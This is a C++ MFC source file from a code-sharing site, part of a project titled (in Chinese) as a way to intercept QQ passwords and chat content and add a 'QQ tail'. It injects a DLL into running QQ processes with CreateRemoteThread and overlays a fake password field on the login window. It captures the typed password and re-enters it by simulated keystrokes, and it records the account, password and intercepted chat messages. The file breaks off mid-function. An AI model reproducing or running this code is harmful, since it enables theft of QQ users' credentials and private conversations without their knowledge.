gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/RemoteThreadMateQQDlg.cpp

    // RemoteThreadMateQQDlg.cpp : implementation file
//

#include "stdafx.h"
#include "RemoteThreadMateQQ.h"
#include "RemoteThreadMateQQDlg.h"
#include "Shlwapi.h"	// for PathFindFileName()

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

t_RemoteThreadPara *g_pRemoteThreadPara = NULL;
DWORD g_dwInvokerPID = 0;
HWND g_hWndInvoker = 0;
CString g_csCurModuleBaseName;

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CRemoteThreadMateQQDlg dialog

CRemoteThreadMateQQDlg::CRemoteThreadMateQQDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CRemoteThreadMateQQDlg::IDD, pParent)
	, m_nActiveSimPasswordEditCount ( 0 )
	, m_bActiveSimPasswordEditByTab ( FALSE )
	, m_pQQMate ( NULL )
	, m_hEvtQQRecreateTray ( NULL )
{
	//{{AFX_DATA_INIT(CRemoteThreadMateQQDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

CRemoteThreadMateQQDlg::~CRemoteThreadMateQQDlg()
{
}

void CRemoteThreadMateQQDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CRemoteThreadMateQQDlg)
	DDX_Control(pDX, IDC_STATIC_TRAY_ICON, m_TRAY_ICON);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CRemoteThreadMateQQDlg, CDialog)
	//{{AFX_MSG_MAP(CRemoteThreadMateQQDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTTON_ClearLog, OnBUTTONClearLog)
	ON_WM_TIMER()
	ON_WM_DESTROY()
	ON_WM_COPYDATA()
	ON_BN_CLICKED(IDC_BUTTON_Test, OnBUTTONTest)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CRemoteThreadMateQQDlg message handlers

BOOL CRemoteThreadMateQQDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	m_TRAY_ICON.SetIcon ( m_hIcon );
	ShowLogText ( NOTE_CONTRIBUTE );

	CString csQQPath = TerminateAllQQ ();
	SetTimer ( 4, 1000, NULL );
	if ( csQQPath.IsEmpty() )
	{
		AfxMessageBox ( _T("请启动你的QQ") );
	}
	else
	{
		ShellExecute ( NULL, _T("open"), csQQPath, NULL, NULL, SW_SHOW );
	}

	Read_Ary_QQProcessInfo ();

	m_hEvtQQRecreateTray = CreateEvent ( NULL, TRUE, FALSE, QQRecreateTray_Event_Name );
	if ( !HANDLE_IS_VALID(m_hEvtQQRecreateTray) )
	{
		AfxMessageBox ( _T("Create kernel event failed.") );
		PostQuitMessage (0);
		return FALSE;
	}
	::SetEvent ( m_hEvtQQRecreateTray );

	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CRemoteThreadMateQQDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CRemoteThreadMateQQDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CRemoteThreadMateQQDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}


//
// 枚举出 “qq.exe”的进程
//
int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ )
{
	CStringArray StrAry_ProcessName;
	CUIntArray UIntAry_ProcessID;
	CStringArray StrAry_ProcessPath;
	if ( !CProcessManage::EnumSystemProcess (
		&StrAry_ProcessName,
		&UIntAry_ProcessID,
		NULL,
		NULL,
		&StrAry_ProcessPath
		) )
	{
		return -1;
	}
	ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
	ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );
	
	int nCount = 0;
	for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
	{
		CString csProcessName = StrAry_ProcessName.GetAt ( i );
		TRACE ( _T("%s\n"), csProcessName );
		csProcessName.MakeLower ();
		if ( csProcessName == _T("qq.exe") )
		{
			nCount ++;
			if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
			if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
			if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
		}
	}
	
	return nCount;
}

void Trace_StrAry ( CStringArray &StrAry )
{
	TRACE ( _T(" Trace_StrAry -------------------------------\n") );
	for ( int i=0; i<StrAry.GetSize(); i++ )
	{
		TRACE ( _T("NO.%03d - %s\n"), i, StrAry.GetAt(i) );
	}
}
void Trace_IntAry ( CUIntArray &UIntAry )
{
	TRACE ( _T(" Trace_IntAry -------------------------------\n") );
	for ( int i=0; i<UIntAry.GetSize(); i++ )
	{
		TRACE ( _T("NO.%03d - %d\n"), i, UIntAry.GetAt(i) );
	}
}

typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );

BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )
{
	if ( dwPID < 1 ) return FALSE;
	ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。\r\n"), dwPID) );
	BOOL bRet = TRUE;

	// 获取dll文件路径
	CString csDllPath = GetProgramDir ();
	csDllPath += _T("dllRemoteThread.dll");
	TCHAR szDllPath[MAX_PATH] = {0};
	lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );

	// 定义变量
	void *pParaRemote = NULL;
	void *pDataRemote = NULL;
	HANDLE hProcess = NULL;

	if ( !bInjected )
	{
		// 打开远程进程
		hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);
		if (! hProcess ) return FALSE;
		
		// 在远程进程中分配内存空间,并将数据写入
		t_RemoteThreadPara tRemoteThreadPara = {0};
		strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );
		pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );
		::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );
		pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );
		::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );
	}

	// 装载dll文件,并将参数传入dll的数据共享区
	HMODULE hMod = LoadLibrary ( szDllPath );
	if ( hMod )
	{
		FUNC_SetRemoteParameter pfnSetRemoteParameter = (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );
		if ( pfnSetRemoteParameter )
			pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );
	}
	else
	{
		bRet = FALSE;
	}

	if ( !bInjected )
	{
		// 创建远程线程执行代码
		DWORD dwThreadID = 0;
		HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,
			(LPTHREAD_START_ROUTINE)LoadLibrary, 
			pDataRemote, 0, &dwThreadID );
		if ( HANDLE_IS_VALID(hThread) )
		{
			// 等待远程线程结束
			::WaitForSingleObject ( hThread, INFINITE );
			DWORD dwRetCode = 0;
			::GetExitCodeThread ( hThread, &dwRetCode );
			TRACE ("run and return %d\n", dwRetCode );
		}
		else
		{
			bRet = FALSE;
		}
	}

	// 释放资源
	if ( hProcess && pDataRemote )
		VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );	
	if ( hMod ) FreeLibrary ( hMod );

	return bRet;
}

CString CRemoteThreadMateQQDlg::TerminateAllQQ()
{
	CStringArray StrAry_ProcessName;
	CUIntArray UIntAry_ProcessID;
	CStringArray StrAry_ProcessPath;
	if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 )
	{
		return _T("");
	}
	ASSERT ( UIntAry_ProcessID.GetSize() == StrAry_ProcessName.GetSize() );
	AfxMessageBox ( FormatString(_T("发现你的系统里已经运行了%d个QQ进程,为了达到演示的目的,点“确定”按钮后我会先关闭它们。"),
		UIntAry_ProcessID.GetSize()));
	
	for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
	{
		CString csProcessName = StrAry_ProcessName.GetAt ( i );
		ASSERT ( csProcessName == _T("qq.exe") );
		CProcessManage::TerminateProcessID ( UIntAry_ProcessID.GetAt(i) );
	}
	Sleep ( 500 );
#ifdef _DEBUG
	DeleteTrayNullIcon ();
#endif
	return StrAry_ProcessPath.GetAt(0);
}

BOOL CRemoteThreadMateQQDlg::ShowLogText ( LPCTSTR lpszText )
{
	if ( !lpszText ) return FALSE;
	CEdit *pEditLog = (CEdit*)GetDlgItem(IDC_EDIT_Log);
	if ( !pEditLog || !IsWindow(pEditLog->m_hWnd) )
		return FALSE;
	
	CString csLogText;
	pEditLog->GetWindowText ( csLogText );
	int nTextLen_Org = csLogText.GetLength ();
	
	// 将增加的文本添加到编辑框的尾部
	if ( nTextLen_Org < EDIT_MAX_TEXT )
	{
		pEditLog->SetSel ( -1, -1 );
	}
	else
	{
		pEditLog->SetSel ( 0, -1 );
		nTextLen_Org = 0;
	}
	pEditLog->ReplaceSel( lpszText );
	
	// 滚动在最底行
	pEditLog->SendMessage ( WM_VSCROLL, (WPARAM)SB_BOTTOM, (LPARAM)NULL );
	return TRUE;
}

LRESULT CRemoteThreadMateQQDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam) 
{
	if ( message == WM_COPYDATA && GetSafeHwnd() == (HWND)wParam )
	{
		PCOPYDATASTRUCT poCopyData = (PCOPYDATASTRUCT)lParam;
		t_RCopyData tRCopyData = {0};
		if ( poCopyData->cbData >= sizeof(t_RCopyData) )
		{
			BYTE *pDataCurPos = (BYTE*)poCopyData->lpData;
			memcpy ( &tRCopyData, pDataCurPos, sizeof(t_RCopyData) );
			pDataCurPos += sizeof(t_RCopyData);

			DWORD dwData = poCopyData->dwData;
			DWORD dwData1 = tRCopyData.dwData1;
			DWORD dwData2 = tRCopyData.dwData2;
			DWORD dwData3 = tRCopyData.dwData3;
			DWORD dwQQProcessID = tRCopyData.dwQQProcessID;
			if ( dwQQProcessID == GetCurrentProcessId() )
			{
				ASSERT ( FALSE );
			}
			else
			{
				LPCTSTR lpszText = NULL;
				LPVOID lpData = NULL;
				int cbDataSize = 0;
				
				if ( tRCopyData.nTextSize > 0 && poCopyData->cbData >= sizeof(t_RCopyData) + tRCopyData.nTextSize )
				{
					lpszText = LPCTSTR(pDataCurPos);
					pDataCurPos += tRCopyData.nTextSize;
				}
				
				if ( tRCopyData.nDataSize > 0 && poCopyData->cbData >= sizeof(t_RCopyData) + tRCopyData.nTextSize + tRCopyData.nDataSize )
				{
					cbDataSize = tRCopyData.nDataSize;
					lpData = pDataCurPos;
					pDataCurPos += tRCopyData.nDataSize;
				}
				
				switch ( tRCopyData.eRemoteMsg )
				{
				case RMSG_TRAY_CHANGED:
					{
						HWND hWndTray = (HWND)dwData;
						if ( lpszText )
						{
							CStringArray StrAry;
							if ( PartStringAndAddToStrAry ( lpszText, StrAry ) == 2 )
							{
								CString csLocalQQAccount = StrAry.GetAt(0);
								CString csLocalQQNickname = StrAry.GetAt(1);

								int nIndex = FindFrom__Ary_QQProcessInfo ( dwQQProcessID );
								if ( nIndex < 0 )
								{
									t_QQProcessInfo tQQProcessInfo;
									tQQProcessInfo.dwPID = dwQQProcessID;
									nIndex = m_Ary_QQProcessInfo.Add ( tQQProcessInfo );
								}

								if ( nIndex >= 0 )
								{
									t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex);
									if ( tQQProcessInfo.csLocalQQAccount != csLocalQQAccount ||
										tQQProcessInfo.csLocalQQNickname != csLocalQQNickname )
									{
										SetDlgItemText ( IDC_EDIT_LocalQQAccount, csLocalQQAccount );
										SetDlgItemText ( IDC_EDIT_LocalQQNickname, csLocalQQNickname );
										SetQQProcessInfo ( dwQQProcessID, csLocalQQAccount, NULL, csLocalQQNickname );
									}
									QQProcessInfoIsReceived ();
								}
							}
						}
						m_TRAY_ICON.SetIcon ( (HICON)dwData1 );
						break;
					}
				case RMSG_LOG:
					{
						if ( lpszText )
						{						
							ShowLogText ( lpszText );
						}
						break;
					}
				case RMSG_ShowLoginWindow:
				case RMSG_LoginWindowMoving:
				case RMSG_LoginWindowClose:
				case RMSG_PasswordSetFocus:
				case RMSG_LoginWindowShow:
					{
						HWND hWndQQLoginWindow = (HWND)dwData;
						t_FindQQLoginInfoPara *pFindQQLoginInfoPara = (t_FindQQLoginInfoPara*)lpData;
						ASSERT ( pFindQQLoginInfoPara );
						ASSERT ( IsWindow(hWndQQLoginWindow) && IsWindow(pFindQQLoginInfoPara->hWndQQAccount) &&
							IsWindow(pFindQQLoginInfoPara->hWndQQPassword) && IsWindow(pFindQQLoginInfoPara->hWndLoginButton) );
						// 显示QQ登录窗口
						if ( RMSG_ShowLoginWindow == tRCopyData.eRemoteMsg )
						{
							ShowSimQQLoginWindow ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara );
						}
						// QQ登录窗口在移动
						else if ( RMSG_LoginWindowMoving == tRCopyData.eRemoteMsg )
						{
							OnQQLoginWindowMoving ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara );
						}
						// QQ登录窗口关闭
						else if ( RMSG_LoginWindowClose == tRCopyData.eRemoteMsg )
						{
							CString csQQAccount;
							if ( lpszText ) csQQAccount = lpszText;
							OnQQLoginWindowClose ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, (BOOL)dwData1, csQQAccount );
						}
						// QQ密码输入框获得焦点
						else if ( RMSG_PasswordSetFocus == tRCopyData.eRemoteMsg )
						{
							ActiveSimPasswordEdit ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, LPARAM(dwData1) );
						}
						// QQ登陆框被显示(最小化、还原或隐藏)
						else if ( RMSG_LoginWindowShow == tRCopyData.eRemoteMsg )
						{
							int uCmdType = (int)dwData1;
							if ( uCmdType == SC_MINIMIZE )
							{
								if ( IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) )
									m_DlgSimuQQLoginWindow.ShowWindow ( SW_HIDE );
							}
							else if ( uCmdType == SC_RESTORE )
							{
								if ( IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) )
									m_DlgSimuQQLoginWindow.ShowWindow ( SW_SHOW );
								ActiveSimPasswordEdit ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, LPARAM(dwData1) );
							}
						}
						break;
					}
				case RMSG_QQStatusChanged:
					{
						BOOL bLoginOK = (BOOL)dwData;
						ASSERT ( lpszText );
						CString csLocalQQAccount = lpszText;
						SetDlgItemText ( IDC_EDIT_QQStatus, FormatString(_T("%s %s"), csLocalQQAccount, bLoginOK?_T("已登录"):_T("已下线") ) );
						break;
					}
				case RMSG_GotQQChatText:
					{
						BOOL bIsSent = (BOOL)dwData;
						ASSERT ( lpszText );
						CString csChatInfo = lpszText;
						CString csQQPeerAccount, csQQPeerNickname, csChatText;
						int nFindPos = csChatInfo.Find ( _T("\t"), 0 );
						if ( nFindPos > 0 )
						{
							csQQPeerAccount = csChatInfo.Left(nFindPos);
							csChatInfo = csChatInfo.Mid(nFindPos+1);
							nFindPos = csChatInfo.Find ( _T("\t"), 0 );
							if ( nFindPos > 0 )
							{
								csQQPeerNickname = csChatInfo.Left(nFindPos);
								csChatText = csChatInfo.Mid(nFindPos+1);
								SetQQProcessInfo ( dwQQProcessID, NULL, NULL, NULL, csChatText, csQQPeerAccount, csQQPeerNickname, bIsSent );
							}
						}
						break;
					}
				}
			}
		}
	}
	
	return CDialog::DefWindowProc(message, wParam, lParam);
}
LRESULT CALLBACK MixerWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	if ( uMsg == WM_PAINT )
	{
		CPaintDC dc(CWnd::FromHandle(hwnd)); // device context for painting
		dc.TextOut ( 0,0,_T("haha") );
		return TRUE;
	}

	return ::DefWindowProc( hwnd, uMsg, wParam, lParam);
}

void CRemoteThreadMateQQDlg::OnQQLoginWindowClose ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara, BOOL bSuccess, CString &csQQAccount )
{
	if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return;
	m_DlgSimuQQLoginWindow.DestroyWindow ();
	if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) )
		return;

	if ( bSuccess )
	{
		// 将QQ真实的登录窗口隐藏,然后激活密码输入框并获取焦点,100毫秒后将用模拟键盘方式将获得的密码输入到QQ密码框中
		::SetWindowPos ( hWndQQLoginWindow, HWND_TOPMOST, -999, -999, 0, 0, SWP_SHOWWINDOW);
		CRect rcQQLoginWindow;
		::GetWindowRect ( hWndQQLoginWindow, &rcQQLoginWindow );
		::SetWindowPos ( hWndQQLoginWindow, HWND_TOPMOST, rcQQLoginWindow.left, rcQQLoginWindow.top, 
			rcQQLoginWindow.right-rcQQLoginWindow.left, rcQQLoginWindow.bottom-rcQQLoginWindow.top, SWP_NOACTIVATE);
		::SetForegroundWindow ( hWndQQLoginWindow );
		
		::SetFocus ( pFindQQLoginInfoPara->hWndQQPassword );
		ActiveWindowAndHoldFocus ( pFindQQLoginInfoPara->hWndQQPassword );
		
		SetDlgItemText ( IDC_EDIT_LocalQQAccount, csQQAccount );
		m_csQQPassword = m_DlgSimuQQLoginWindow.m_csQQLocalPassword;
		SetQQProcessInfo ( dwQQProcessID, NULL, m_DlgSimuQQLoginWindow.m_csQQLocalPassword );
		if ( m_csQQPassword.IsEmpty() )
		{
			MessageBox ( _T("Login QQ server failed."), _T("Tencent - QQ"), MB_ICONERROR );
			CProcessManage::TerminateProcessID ( dwQQProcessID );
		}
		else
		{
			SetTimer ( 1, 100, NULL );
		}
	}
}

void CRemoteThreadMateQQDlg::ActiveSimPasswordEdit ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara, LPARAM lParam )
{
	if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) )
		return;
	if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return;
	m_DlgSimuQQLoginWindow.SetDlgItemText ( IDC_EDIT_QQLocalPassword, _T("") );

	// 取消QQ登陆框最前端显示的特性
/*	CRect rcQQLoginWindow;
	::GetWindowRect ( hWndQQLoginWindow, &rcQQLoginWindow );
	::SetWindowPos ( hWndQQLoginWindow, HWND_NOTOPMOST, rcQQLoginWindow.left, rcQQLoginWindow.top, 
		rcQQLoginWindow.right-rcQQLoginWindow.left, rcQQLoginWindow.bottom-rcQQLoginWindow.top, SWP_NOACTIVATE);
*/

	m_bActiveSimPasswordEditByTab = (lParam == 1);
	m_nActiveSimPasswordEditCount = 0;
	SetTimer ( 3, 10, NULL );
}

void CRemoteThreadMateQQDlg::OnQQLoginWindowMoving ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara )
{
	if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) )
		return;
	if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return;
	
	CRect rcQQPassword;
	::GetWindowRect ( pFindQQLoginInfoPara->hWndQQPassword, &rcQQPassword );
	rcQQPassword.DeflateRect ( 2, 2 );
	rcQQPassword.right -= 14;
	m_DlgSimuQQLoginWindow.MoveWindow ( rcQQPassword );

}

void CRemoteThreadMateQQDlg::ShowSimQQLoginWindow ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara )
{
	if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) )
		return;
	m_DlgSimuQQLoginWindow.SetParameter ( this, hWndQQLoginWindow, *pFindQQLoginInfoPara );

	m_DlgSimuQQLoginWindow.m_csQQLocalPassword.Empty();
	if ( !::IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) )
		m_DlgSimuQQLoginWindow.Create ( CDlgSimuQQLoginWindow::IDD, CWnd::GetDesktopWindow() );
	OnQQLoginWindowMoving ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara );
	m_DlgSimuQQLoginWindow.ShowWindow ( SW_SHOW );
	SetTimer ( 3, 10, NULL );
}

void CRemoteThreadMateQQDlg::OnBUTTONClearLog() 
{
	SetDlgItemText ( IDC_EDIT_Log, _T("") );
	DeleteFile ( "c:\\RemoteThreadMateQQ.txt" );
}

void CRemoteThreadMateQQDlg::OnTimer(UINT nIDEvent) 
{
	// 模拟键盘输入QQ密码
	if ( nIDEvent == 1 )
	{
		KillTimer ( nIDEvent );
		for ( int i=0; i<8; i++ )
		{
			KeyboardEvent ( VK_BACK );
		}
		for ( i=0; i<m_csQQPassword.GetLength(); i++ )
		{
			KeyboardEvent ( (BYTE)m_csQQPassword[i] );
			ShowLogText ( FormatString ( _T("输入键盘事件:%c\r\n"), m_csQQPassword[i] ) );
		}
		KeyboardEvent ( VK_RETURN );
		SetTimer ( 2, 1, NULL );
	}
	else if ( nIDEvent == 2 )
	{
		KillTimer ( nIDEvent );
		SetDlgItemText ( IDC_EDIT_LocalQQPassword, m_csQQPassword );
	}
	else if ( nIDEvent == 3 )
	{
		if ( m_nActiveSimPasswordEditCount > 3 )
			KillTimer ( nIDEvent );

		m_DlgSimuQQLoginWindow.SetDlgItemText ( IDC_EDIT_QQLocalPassword, _T("") );
		// 按 Tab 获得焦点
		if ( m_bActiveSimPasswordEditByTab )
		{
		/*	m_DlgSimuQQLoginWindow.SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW );
			m_DlgSimuQQLoginWindow.SetForegroundWindow ();
			m_DlgSimuQQLoginWindow.GetDlgItem(IDC_EDIT_QQLocalPassword)->SetFocus();*/
		}
		// 点鼠标获得焦点
		else
		{
		}
		ActiveWindowAndHoldFocus ( m_DlgSimuQQLoginWindow.GetSafeHwnd() );
/*		m_DlgSimuQQLoginWindow.SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW );
		m_DlgSimuQQLoginWindow.SetForegroundWindow ();
		m_DlgSimuQQLoginWindow.GetDlgItem(IDC_EDIT_QQLocalPassword)->SetFocus();
		*/
		m_nActiveSimPasswordEditCount ++;
	}
	// 定时检测是否启动了新的QQ,如果启动了新的QQ就注入一个线程
	else if ( nIDEvent == 4 )
	{
		InjectThreadWhenFoundNewQQ ();
	}

	CDialog::OnTimer(nIDEvent);
}

void CRemoteThreadMateQQDlg::OnDestroy() 
{
	CDialog::OnDestroy();
	
	ShowChatContents ();
	Save_Ary_QQProcessInfo();
	DeleteAll__Ary_QQProcessInfo ();
	if ( m_pQQMate ) delete m_pQQMate;
	m_pQQMate = NULL;
	
}

int CRemoteThreadMateQQDlg::FindFrom__Ary_QQProcessInfo ( DWORD dwQQProcessID )
{
	for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ )
	{
		t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i);
		if ( tQQProcessInfo.dwPID == dwQQProcessID )
		{
			return i;
		}
	}
	return -1;
}

void CRemoteThreadMateQQDlg::SetQQProcessInfo (
		DWORD dwQQProcessID,
		LPCTSTR lpszLocalQQAccount/*=NULL*/,
		LPCTSTR lpszLocalQQPassword/*=NULL*/,
		LPCTSTR lpszLocalQQNickname/*=NULL*/,
		LPCTSTR lpszChatText/*=NULL*/,
		LPCTSTR lpszPeerQQAccount/*=NULL*/,
		LPCTSTR lpszPeerQQNickname/*=NULL*/,
		BOOL bIsSent/*=FALSE*/
	)
{
	int nIndex = FindFrom__Ary_QQProcessInfo ( dwQQProcessID );
	if ( nIndex < 0 )
	{
		ASSERT ( FALSE );
		return;
	}
	t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex);
	if ( tQQProcessInfo.pAry_QQChatContent )
		tQQProcessInfo.pAry_QQChatContent = tQQProcessInfo.pAry_QQChatContent;

	if ( lpszLocalQQAccount && lstrlen(lpszLocalQQAccount) > 0 )
		tQQProcessInfo.csLocalQQAccount = lpszLocalQQAccount;
	if ( lpszLocalQQPassword && lstrlen(lpszLocalQQPassword) > 0 )
		tQQProcessInfo.csLocalQQPassword = lpszLocalQQPassword;
	if ( lpszLocalQQNickname && lstrlen(lpszLocalQQNickname) > 0 )
		tQQProcessInfo.csLocalQQNickname = lpszLocalQQNickname;
	if ( lpszChatText && lstrlen(lpszChatText) > 0 &&
		lpszPeerQQAccount && lstrlen(lpszPeerQQAccount) > 0 )
	{
		if ( !tQQProcessInfo.pAry_QQChatContent )
		{
			tQQProcessInfo.pAry_QQChatContent = new t_Ary_QQChatContent;
			if ( !tQQProcessInfo.pAry_QQChatContent )
			{
				return;
			}
		}

		t_QQChatContent tQQChatContent;
		tQQChatContent.tMsgTime = GetCurrentTimeHw();
		tQQChatContent.bIsSent = bIsSent;
		tQQChatContent.csChatText = lpszChatText;
		tQQChatContent.csQQPeerNickname = GET_SAFE_STRING(lpszPeerQQNickname);
	//	AfxMessageBox ( FormatString(_T("%s消息:%s"),bIsSent?_T("发送"):_T("接收"), lpszChatText) );
		tQQProcessInfo.pAry_QQChatContent->Add ( tQQChatContent );
	}
	m_Ary_QQProcessInfo.SetAt ( nIndex, tQQProcessInfo );
}

void CRemoteThreadMateQQDlg::DeleteFrom__Ary_QQProcessInfo__ByIndex ( int nIndex )
{
	if ( nIndex < 0 || nIndex >= m_Ary_QQProcessInfo.GetSize() )
		return;
	t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex);
	if ( tQQProcessInfo.pAry_QQChatContent )
	{
		tQQProcessInfo.pAry_QQChatContent->RemoveAll();
